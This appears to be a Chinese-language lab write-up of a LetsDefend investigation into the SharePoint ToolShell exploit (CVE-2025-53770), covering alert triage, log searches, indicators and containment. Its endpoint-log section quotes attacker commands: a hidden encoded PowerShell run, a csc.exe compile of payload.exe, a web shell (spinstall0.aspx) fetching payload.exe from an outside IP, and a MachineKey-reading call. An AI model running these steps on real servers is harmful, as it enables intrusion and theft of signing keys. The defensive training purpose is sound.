我在 LetsDefend 网络实验室中调查了一个名为 ToolShell(CVE-2025-53770) 的 SharePoint 零日漏洞。
该演练模拟了一次真实世界的零日 RCE 攻击:恶意 POST 请求绕过身份验证,执行 PowerShell 窃取 MachineKeySection 密钥,编译 payload.exe,并植入恶意 Web Shell(spinstall0.aspx)。
本 README 记录了攻击过程、取证步骤、遏制措施以及经验教训。
| 字段 | 详情 |
|---|---|
| 平台 | LetsDefend 网络靶场 |
| 目标 | SharePoint 服务器(SharePoint01) |
| CVE | CVE-2025-53770 |
| 目的 | 分析 RCE,练习检测与遏制 |
| 使用工具 | Windows PowerShell、VirusTotal、AbuseIPDB、Talosintelligence、LetsDefend 日志管理、LetsDefend 端点安全、Base64 解码器、LetsDefend 威胁情报 |
一条严重告警标记了针对 SharePoint 中 ToolPane.aspx 的可疑活动,该活动带有大型载荷和伪造的 Referer。
这与 CVE-2025-53770 相关,这是一个允许通过精心构造的 POST 请求实现未认证 RCE 的零日漏洞。

含义: 分配给此告警的严重性等级——最高且最紧急。
为何重要: 表明该事件可能导致整个系统受损(RCE)。请按最高优先级处理:立即隔离并调查。
含义: 告警触发时的时间戳。
为何重要: 用于定位日志、关联相关事件并构建时间线(搜索前后几分钟或几小时)。
含义: 触发的检测规则或特征,描述了匹配的条件(ToolShell 利用尝试)。
为何重要: 确定检测到的攻击模式——有助于搜索类似案例(例如,向管理员页面发送未认证 POST 或潜在 Web Shell 上传)。
含义: 此特定告警实例或规则的数字标识符(供应商定义)。
为何重要: 有助于在工单或报告中跟踪、筛选和引用此告警。
含义: 高层级分类——此告警针对 Web 基础设施。
为何重要: 将事件路由至 Web/SharePoint/基础设施 团队,并应用 Web 专用剧本。
含义: 处理该告警所需的分析师角色或升级级别。
为何重要: 表明这不是一线(Tier-1) 告警——需要安全分析师(经验丰富的响应人员)立即采取行动。
含义: 受影响主机的名称(活动目标或来源)。
为何重要: 这是主要遏制目标——首先隔离、收集证据并监控该系统。
含义: 发送可疑请求的 IP(攻击者或代理)。
为何重要: 在防火墙/WAF 处阻止它,搜索来自该 IP 的其他命中记录,并检查归属/地理位置信息。注意:IP 可能被伪造,或是僵尸网络的一部分。
含义: 内部目标 IP(SharePoint01)。
为何重要: 确认哪个内部系统成为目标——将其映射到主机名,并审查内部访问路径/防火墙规则。
含义: 使用的 HTTP 动词——客户端向服务器发送了数据。
为何重要: 当向管理员端点发送的 POST 未认证或体积较大时非常可疑——它们可能携带漏洞利用载荷或 Web Shell。
/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
含义: 被精确定位的 Web 路径和参数。
为何重要: 这是一个 SharePoint 管理/布局端点——常被攻击者滥用于认证绕过或代码上传。搜索对同一路径的其他请求。
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
含义: 客户端报告的浏览器字符串。
为何重要: 攻击者常伪造它以使其看起来合法——可以帮助筛选日志,但不要依赖它进行归因。
/_layouts/SignOut.aspx
含义: 声称请求来自 SharePoint 注销页面的 HTTP 头。
为何重要: 伪造的 Referer 很可疑——可能被用于绕过检查或模仿正常流量。请与合法导航流程进行比较。
7699含义: HTTP 请求体的大小(以字节为单位)。
为何重要: 向管理员端点发送的大型 POST 请求体表明存在序列化漏洞利用或文件上传。查找发送到同一 URL 的其他类似大小的 POST 请求。
文本: 针对 ToolPane.aspx 的可疑未认证 POST 请求,载荷较大且 Referer 被伪造——表明存在 CVE-2025-53770 漏洞利用。
含义: 总结匹配行为的规则说明。
为何重要: 准确描述告警触发的原因——验证请求是否未认证、发送了何种载荷,以及是否匹配已知漏洞利用模式。
含义: 表示防护设备的响应(例如 WAF/防火墙)。
为何重要: 由于它被允许,攻击已到达主机——请按潜在失陷处理。
立即行动:
107.191.58.76)SharePoint01)🔎 摘要:
该告警反映了一次利用 ToolPane.aspx(SharePoint RCE CVE-2025-53770)的未认证漏洞利用尝试。POST 请求包含大型载荷和伪造的 Referer,与 ToolShell 零日漏洞利用行为一致。由于设备允许了该请求,在证明未失陷之前,请假定可能已被入侵。🟥 严重性:严重(Critical)
在 IIS/WAF 中搜索发送到 ToolPane.aspx 的 POST 请求(大约在 2025-07-22 13:07):
Select-String -Path "C:\inetpub\logs\LogFiles\**\*.log" -Pattern "/_layouts/15/ToolPane.aspx" | Out-File .\IIS_ToolPane_hits.txt
从 WAF/代理或数据包捕获中提取完整 POST 请求体,并保存到取证共享位置。
在 Web 根目录中查找新增或修改的 ASPX 文件(Web Shell):
Get-ChildItem "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\**\*.aspx" -Recurse | Sort LastWriteTime -Desc | Select FullName,LastWriteTime
阻止攻击者并隔离主机:在外围/WAF 处阻止 107.191.58.76,并将 SharePoint01 移至隔离区(或限制出站流量)。
不要删除可疑文件——请先制作取证副本。
Microsoft SharePoint 是一个协作和文档管理平台。
它提供安全的文件存储、版本控制和内部门户,并与 Active Directory、Teams、Outlook 和 Power BI 集成。
Microsoft SharePoint Server 中的一个严重未认证 RCE 漏洞,利用了不安全的反序列化。
攻击者利用它可以:
🧮 CVSS 评分: 9.8(严重)
📡 利用情况: 已在野外被积极利用
源 IP: 107.191.58.76
🧩 结果: 15/95 家安全厂商将其标记为恶意。

通过 AbuseIPDB 检查——该 IP 与以下行为相关联:

通过 Talos Intelligence 检查——IP/子网特征:
*.vultrusercontent.com
在 Endpoint Security 中定位到主机 SharePoint01。
检查了终端历史记录中的可疑命令。

该日志显示,在 13:07:11,一个 PowerShell 进程在 SharePoint 应用程序池下运行,执行了一条 Base64 编码的命令。父进程是 services.exe,攻击针对 SharePoint 目录。这是 ToolShell 漏洞利用以及 SharePoint 服务器内远程代码执行的明确迹象。
-nop = -NoProfile:不加载用户配置文件启动 PowerShell(避免基于配置文件的检测,运行更快)。-w hidden = -WindowStyle Hidden:不显示窗口运行(隐蔽模式)。-e = -EncodedCommand:后面的字符串是 Base64 编码的 PowerShell 内容(通常为 UTF-16LE,有时为 UTF-8)——用于隐藏代码,避免被粗略检查或简单日志发现。<BASE64>:长 Base64 载荷——解码后包含一个读取 MachineKey 值的 ASPX 服务器脚本(看起来像一个 Web Shell)。

⚙️ 行为摘要
这表明窃取 MachineKey 以伪造 ViewState/认证令牌——典型的 ToolShell 漏洞利用行为。

🧩 发现:攻击者使用内置的 .NET 编译器将 payload.cs 编译为 payload.exe → 很可能是恶意软件。
这实际上做了什么(逐步说明):
csc.exe → 随 .NET Framework 附带的 C# 编译器。/out:C:\Windows\Temp\payload.exe → 告诉编译器将编译后的程序保存到哪里以及命名为什么(payload.exe)。C:\Windows\Temp\payload.cs → 编译器将其转换为可运行程序的 C# 源文件(人类可读的代码)。为什么这很危险(新手解释):
.cs)转换为可执行文件(.exe)。payload.exe)可以执行攻击者编程设定的任何操作:打开网络连接、生成 Shell、安装持久化或窃取数据。攻击者可能在攻击链中如何利用它:
payload.cs。payload.exe,以便在服务器上作为本机程序运行。需要寻找的证据(在日志/文件中搜索什么):
csc.exe 的进程创建事件,参数指向 payload.cs 或 /out:C:\Windows\Temp\payload.exe。C:\Windows\Temp\payload.cs 和 C:\Windows\Temp\payload.exe 是否存在(收集取证副本并计算哈希)。w3wp.exe / powershell.exe / cmd.exe 生成 csc.exe。payload.exe 的网络活动或进程活动(如果它被执行了)。一句话总结(用于 README / 工单):
攻击者使用 .NET C# 编译器(csc.exe)在主机上将 payload.cs 编译为 payload.exe——创建了一个用于后续恶意活动的本机可执行文件。

🧩 发现:在 SharePoint 的 LAYOUTS 目录中创建了 spinstall0.aspx → 一个可通过 Web 访问的后门。
这实际上做了什么(逐步说明,通俗易懂):
cmd.exe /c → 启动 Windows 命令 Shell 来执行一条命令,然后退出。echo <...> > "...\spinstall0.aspx" → 输出提供的 HTML/ASPX 文本并将其写入文件 spinstall0.aspx(> 运算符创建或覆盖文件)。runat="server" → 使该文件成为服务器端 ASPX,因此 IIS/SharePoint 会在 Web 应用程序进程中执行它,而不是将其作为静态文本提供。<object> 元素包含 Url="http://107.191.58.76/payload.exe" → 指示页面(或执行时的服务器)从远程主机获取攻击者的 payload.exe。为什么这很危险(新手解释):
攻击者可能在攻击链中如何利用它:
spinstall0.aspx 写入 SharePoint 的 LAYOUTS 文件夹。payload.exe。需要寻找的证据(在日志/文件中搜索什么):
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx — 收集取证副本并计算 SHA256。cmd.exe 写入该路径。spinstall0.aspx 的请求,或对 http://107.191.58.76/payload.exe 的出站请求。spinstall0.aspx 后立即出现的进程创建或网络活动(表明载荷下载/执行)。一句话总结(用于 README / 工单):
攻击者在 SharePoint 的 LAYOUTS 文件夹中创建了一个服务器端 ASPX Web Shell(spinstall0.aspx),指示服务器从攻击者基础设施获取/运行 payload.exe —— 一个持久化的远程后门。

🧩 发现:执行了 PowerShell 来读取并外泄 MachineKey 配置——RCE 的直接前置条件。
这实际上做了什么(逐步说明):
powershell.exe → Windows 脚本 Shell。-Command 告诉 PowerShell 执行后面的表达式。[System.Web.Configuration.MachineKeySection]::GetApplicationConfig() 调用 .NET 来检索 ASP.NET machineKey 配置对象(包括 ValidationKey、DecryptionKey 及相关设置)。为什么这很危险(新手解释):
machineKey 保存着 ASP.NET 用于以下操作的机密:
ViewState 及表单认证 Cookie。ValidationKey/DecryptionKey,他们可以:
ViewState 或认证 Cookie,或解密令牌。攻击者可能在攻击链中如何利用它:
ToolPane.aspx 在 SharePoint 应用程序进程中运行代码。ValidationKey / DecryptionKey。ViewState)或有效的认证 Cookie 以提升访问权限。需要寻找的证据(在日志/文件中搜索什么):
powershell.exe 的命令行中包含 GetApplicationConfig 或 MachineKeySection。ValidationKey / DecryptionKey)。MachineKeySection / GetApplicationConfig 的 ASPX 页面或 Web Shell。IIS APPPOOL\SharePoint)在同一时间戳下的异常活动。一句话总结(用于 README / 工单):
攻击者执行 PowerShell 调用 System.Web.Configuration.MachineKeySection::GetApplicationConfig()——试图外泄 ASP.NET machineKey(ValidationKey/DecryptionKey),从而实现令牌伪造和身份验证绕过。
来源: LetsDefend 威胁情报(通过 IP 107.191.58.76 查询)
Referer: /_layouts/SignOut.aspx。
Victor检测到针对本地 SharePoint(SharePoint01)的 ToolShell 零日漏洞利用(CVE‑2025‑53770)。攻击者(IP 107.191.58.76)绕过了身份验证,并执行了多项利用后操作:
spinstall0.aspx(Web Shell)上传到 SharePoint LAYOUTS 目录。payload.exe。

结论: 确认已遭入侵——Web Shell 部署、密钥外泄以及主机上的有效载荷编译。
SharePoint01(隔离 VLAN),或在边界/WAF/防火墙上阻止攻击者 IP。spinstall*.aspx、payload.exe(按文件名/哈希)以及 GetApplicationConfig/MachineKeySection 的使用。spinstall0.aspx、未经授权的计划任务/服务以及任何检测到的恶意软件(在收集取证副本之后)。machineKey 值(与应用所有者协调),并将 Microsoft 2025 年 7 月紧急补丁应用于所有本地 SharePoint 实例。-EncodedCommand / -e)的检测。csc.exe 在 C:\Windows\Temp 中编译代码的行为发出告警。POST 请求。csc.exe、cmd.exe、powershell.exe)经常在利用后被滥用;请监控 Web 服务器上是否出现非预期的使用。SharePoint01 并阻止 107.191.58.76。spinstall0.aspx、payload.cs、payload.exe 的取证副本(保留时间戳)。w3wp.exe / payload.exe 的内存以供分析。machineKey 和受影响的凭据。| 类型 | 指标 | 描述 |
|---|
| IP | 107.191.58.76 | 发送漏洞利用 POST 的攻击者源 IP |
| URL | /_layouts/15/ToolPane.aspx?DisplayMode=Edit | 漏洞利用端点 |
| 文件 | spinstall0.aspx | 已部署的恶意 ASPX Web Shell |
| 字符串 | MachineKeySection | 尝试外泄 machineKey 的证据 |